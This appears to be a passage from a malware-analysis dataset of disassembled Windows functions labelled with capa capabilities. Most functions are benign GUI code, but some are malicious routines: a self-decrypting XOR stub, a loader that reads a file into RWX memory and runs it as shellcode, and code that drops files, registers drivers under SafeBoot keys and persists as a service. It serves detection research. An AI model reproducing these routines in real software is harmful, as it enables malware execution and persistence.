joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43dcc0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4863c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.0047d394
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.0043d620
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.0047d2c2
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.00479aac
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.00479aac
push 1
push 0
push 0
mov ecx, esi
call fcn.00479a54
push 1
push 0
push 1
mov ecx, esi
call fcn.00479a54
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0047d406
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x43de40
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4863e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.0047d394
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.0043d620
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.0047d2c2
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x43df04
cmp dword [esp + 0x40], 1
jne 0x43df02
cmp ecx, eax
jge 0x43df04
mov eax, ecx
cmp eax, 0xc8
jge 0x43df10
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.0043dcc0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0047d406
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x43e710
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x486493
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00477ecc
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0047d63c
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0047eb94
test eax, eax
je 0x43e82c
mov ecx, dword [esp + 0x3c]
call fcn.0047d669
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x43e7f0
push edi
mov ecx, esi
call fcn.0047ac2b
mov ecx, esi
call fcn.0043e9d0
cmp dword [esp + 0x38], 1
jne 0x43e825
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0047ad95
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x440a10
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x440a43
push esi
call fcn.0044edb0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x440a3c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x440ac9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x440ab2
mov eax, dword [esi + 8]
test eax, eax
je 0x440a67
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x440aae
cmp eax, 2
je 0x440ab2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x440a5a
cmp eax, 3
je 0x440a8d
cmp eax, 1
jne 0x440a5a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x440a5a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x440a5a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00440af0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x440ad8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00440af0
add esp, 4
pop esi
ret

Function at 0x441360
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x441381
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x441381
mov eax, dword [eax + 0x44]
test eax, eax
je 0x441381
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x478cc2
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x478cfa
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00476cd6
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00476cae
jmp 0x478d06
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x47a3b4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x47a3f6
call fcn.00480096
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x47a3f6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x47a3ed
xor eax, eax
jmp 0x47a3fe
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0047a404
pop edi
pop esi
pop ebx
ret 4
Function at 0x4805c6
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4805f4
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x480612
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0048052c
jmp 0x480612
mov eax, dword [esi + 0x14]
test eax, eax
je 0x480612
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0048052c
test edi, edi
mov eax, edi
jne 0x4805fc
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x10001170
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001a4e0]
xor eax, esp
mov dword [esp + 0x104], eax
push ebx
mov ebx, dword [esp + 0x114]
push esi
push edi
mov edi, dword [esp + 0x118]
push 0x103
lea eax, [esp + 0x11]
push 0
push eax
mov byte [esp + 0x18], 0
call sub.ntdll.dll_memset
add esp, 0xc
push 0x5c
push 0
push edi
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov esi, eax
test esi, esi
je 0x10001219
inc esi
cmp byte [esi], 0
je 0x10001219
push 0x104
lea ecx, [esp + 0x10]
push edi
push ecx
call fcn.1000a5ea
add esp, 0xc
push 0x100152bc
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
test eax, eax
je 0x10001219
push ebx
push 0
push esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.1000a6f5
add esp, 0x108
ret
mov ecx, dword [esp + 0x110]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.1000a6f5
add esp, 0x108
ret
Function at 0x100013f0
Capabilities:
Check if file exists
Delete file
Extract resource via kernel32 functions
Move file
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x218
mov eax, dword [0x1001a4e0]
xor eax, esp
mov dword [esp + 0x214], eax
mov eax, dword [esp + 0x220]
push ebx
push ebp
mov ebp, dword [esp + 0x224]
push esi
mov esi, dword [esp + 0x230]
push edi
push 0x100152c0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jne 0x1000143f
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x100015d1
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x10001438
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [esp + 0x18], eax
cmp eax, ebx
je 0x10001438
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
cmp edi, ebx
je 0x10001438
push 0x103
lea eax, [esp + 0x21]
push ebx
push eax
mov byte [esp + 0x28], bl
call sub.ntdll.dll_memset
add esp, 0xc
push ebp
mov dword [esp + 0x18], ebx
mov esi, ebp
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x100014ae
lea ecx, [esp + 0x1c]
push ecx
push ebp
call fcn.10001170
add esp, 8
test eax, eax
je 0x10001438
mov dword [esp + 0x14], 1
lea esi, [esp + 0x1c]
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x80
push 2
push ebx
push 7
push 0x120116
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10001432
mov eax, dword [esp + 0x18]
push 0
lea edx, [esp + 0x14]
push edx
push edi
push eax
push esi
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10001503
cmp dword [esp + 0x10], edi
jne 0x10001503
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x14], 0
je 0x100015cf
lea ecx, [esp + 0x1c]
push ecx
push ebp
call fcn.10001240
add esp, 8
test eax, eax
jl 0x1000154c
push 0x80
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
jmp 0x100015d1
push 0x103
lea ecx, [esp + 0x125]
push 0
push ecx
mov byte [esp + 0x12c], 0
call sub.ntdll.dll_memset
lea edx, [esp + 0x12c]
push edx
push ebp
call fcn.10001170
add esp, 0x14
test eax, eax
je 0x10001438
push 0x80
lea eax, [esp + 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
lea ecx, [esp + 0x124]
push ecx
push ebp
call esi
test eax, eax
je 0x10001438
push 4
push 0
lea edx, [esp + 0x128]
push edx
call esi
push 1
push ebp
lea eax, [esp + 0x24]
push eax
call esi
neg eax
sbb eax, eax
neg eax
jmp 0x100015d1
mov eax, ebx
mov ecx, dword [esp + 0x224]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000a6f5
add esp, 0x218
ret
Function at 0x100015f0
Capabilities:
Check if file exists

Disassembly:
mov eax, dword [esp + 4]
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x1000161c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 2
setne cl
mov eax, ecx
ret

Function at 0x10001860
Capabilities:
Delete registry value

Disassembly:
sub esp, 0x930
mov eax, dword [0x1001a4e0]
xor eax, esp
mov dword [esp + 0x92c], eax
mov eax, dword [esp + 0x934]
push ebx
push ebp
mov ebp, dword [esp + 0x94c]
push esi
push edi
mov edi, dword [esp + 0x94c]
mov dword [esp + 0x18], eax
test edi, edi
je 0x100018b6
mov eax, edi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100018a0
sub eax, edx
sar eax, 1
cmp eax, 0x104
ja 0x10001926
mov esi, dword [esp + 0x958]
mov ebx, dword [esp + 0x950]
test esi, esi
je 0x1000192d
mov eax, esi
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100018d0
sub eax, edx
sar eax, 1
cmp eax, 0x12c
ja 0x10001926
mov eax, ebp
lea edx, [eax + 2]
jmp 0x100018f0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100018f0
sub eax, edx
sar eax, 1
cmp eax, 0x12c
ja 0x10001926
mov eax, ebx
lea edx, [eax + 2]
jmp 0x10001910
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10001910
sub eax, edx
sar eax, 1
cmp eax, 0x12c
jbe 0x1000192d
xor eax, eax
jmp 0x10001a45
push 0x91c
lea ecx, [esp + 0x24]
push 0
push ecx
call sub.ntdll.dll_memset
add esp, 0xc
test edi, edi
je 0x10001955
push edi
push 0x104
lea edx, [esp + 0x28]
push edx
call fcn.10001670
test esi, esi
je 0x1000196c
push esi
push 0x12c
lea eax, [esp + 0x238]
push eax
call fcn.10001670
test ebx, ebx
je 0x10001983
push ebx
push 0x12c
lea ecx, [esp + 0x494]
push ecx
call fcn.10001670
test ebp, ebp
je 0x1000199a
push ebp
push 0x12c
lea edx, [esp + 0x6ec]
push edx
call fcn.10001670
mov eax, dword [esp + 0x948]
mov ecx, dword [esp + 0x95c]
push 0
lea edx, [esp + 0x20]
push edx
push 0
push 0
push 0x91c
mov dword [esp + 0x240], eax
lea eax, [esp + 0x34]
push eax
mov dword [esp + 0x4a0], ecx
mov ecx, dword [esp + 0x30]
push 0x222000
push ecx
mov dword [esp + 0x248], 1
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10001926
lea edx, [esp + 0x14]
push edx
push str.SYSTEMCurrentControlSetServices
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10001a40
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
push ebp
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x10001a39
mov edx, dword [esp + 0x10]
push str.DeleteFlag
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [esp + 0x10]
push eax
call esi
mov ecx, dword [esp + 0x14]
push ecx
call esi
mov eax, 1
mov ecx, dword [esp + 0x93c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000a6f5
add esp, 0x930
ret
Function at 0x10001a60
Capabilities:
Set registry value

Disassembly:
sub esp, 0x10c
mov eax, dword [0x1001a4e0]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
mov ebx, dword [esp + 0x114]
push esi
push 0x103
lea eax, [esp + 0x11]
push 0
push eax
mov dword [esp + 0x14], 0
mov byte [esp + 0x18], 0
call sub.ntdll.dll_memset
push ebx
push str.SYSTEMCurrentControlSetControlSafeBootMinimal
push str._s_s
lea ecx, [esp + 0x24]
push 0x104
push ecx
call fcn.10001790
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
add esp, 0x20
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x10]
push eax
push 0x80000002
call esi
test eax, eax
je 0x10001aec
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.1000a6f5
add esp, 0x10c
ret
mov ecx, dword [esp + 8]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 7
push str.Driver
push 1
push 0
push 0
push ecx
call ebp
test eax, eax
je 0x10001b30
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.1000a6f5
add esp, 0x10c
ret
mov eax, dword [esp + 0xc]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call edi
push str..sys
push 0x104
lea ecx, [esp + 0x1c]
push ecx
call fcn.10001700
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
push 0x80000002
call esi
test eax, eax
jne 0x10001c21
mov ecx, dword [esp + 0x10]
push 7
push str.Driver
push 1
push eax
push eax
push ecx
call ebp
test eax, eax
jne 0x10001c1a
mov eax, dword [esp + 0x10]
push eax
call edi
push ebx
push str.SYSTEMCurrentControlSetControlSafeBootNetwork
push str._s_s
lea ecx, [esp + 0x20]
push 0x104
push ecx
call fcn.10001790
add esp, 0x14
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
push 0x80000002
call esi
test eax, eax
jne 0x10001c21
mov ecx, dword [esp + 0x10]
push 7
push str.Driver
push 1
push eax
push eax
push ecx
call ebp
test eax, eax
jne 0x10001c1a
mov eax, dword [esp + 0x10]
push eax
call edi
push str..sys
push 0x104
lea ecx, [esp + 0x1c]
push ecx
call fcn.10001700
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
push 0x80000002
call esi
test eax, eax
jne 0x10001c21
mov ecx, dword [esp + 0x10]
push 7
push str.Driver
push 1
push eax
push eax
push ecx
call ebp
test eax, eax
je 0x10001c25
mov edx, dword [esp + 0x10]
push edx
call edi
xor eax, eax
jmp 0x10001c31
mov eax, dword [esp + 0x10]
push eax
call edi
mov eax, 1
mov ecx, dword [esp + 0x118]
pop edi
pop ebp
pop esi
pop ebx
xor ecx, esp
call fcn.1000a6f5
add esp, 0x10c
ret
Function at 0x10001c50
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x10c
mov eax, dword [0x1001a4e0]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
push esi
mov esi, dword [esp + 0x11c]
push edi
mov edi, dword [esp + 0x11c]
xor ebx, ebx
push 0x103
lea eax, [esp + 0x15]
push ebx
push eax
mov byte [esp + 0x1c], bl
call sub.ntdll.dll_memset
push esi
push str.SYSTEMCurrentControlSetServices_s
lea ecx, [esp + 0x24]
push 0x104
push ecx
call fcn.10001790
add esp, 0x1c
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x14]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x10001cd6
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.1000a6f5
add esp, 0x10c
ret
mov edx, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [esp + 0x12c]
push ecx
push 4
push ebx
push str.Type
push edx
call esi
test eax, eax
jne 0x10001d59
mov ecx, dword [esp + 0xc]
push 4
lea eax, [esp + 0x128]
push eax
push 4
push ebx
push str.ErrorControl
push ecx
call esi
test eax, eax
jne 0x10001d59
mov eax, dword [esp + 0xc]
push 4
lea edx, [esp + 0x130]
push edx
push 4
push ebx
push str.Start
push eax
call esi
test eax, eax
jne 0x10001d59
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001d38
mov ecx, dword [esp + 0xc]
sub eax, edx
push eax
push edi
push 2
push ebx
push str.ImagePath
push ecx
call esi
test eax, eax
jne 0x10001d59
lea ebx, [eax + 1]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x114]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.1000a6f5
add esp, 0x10c
ret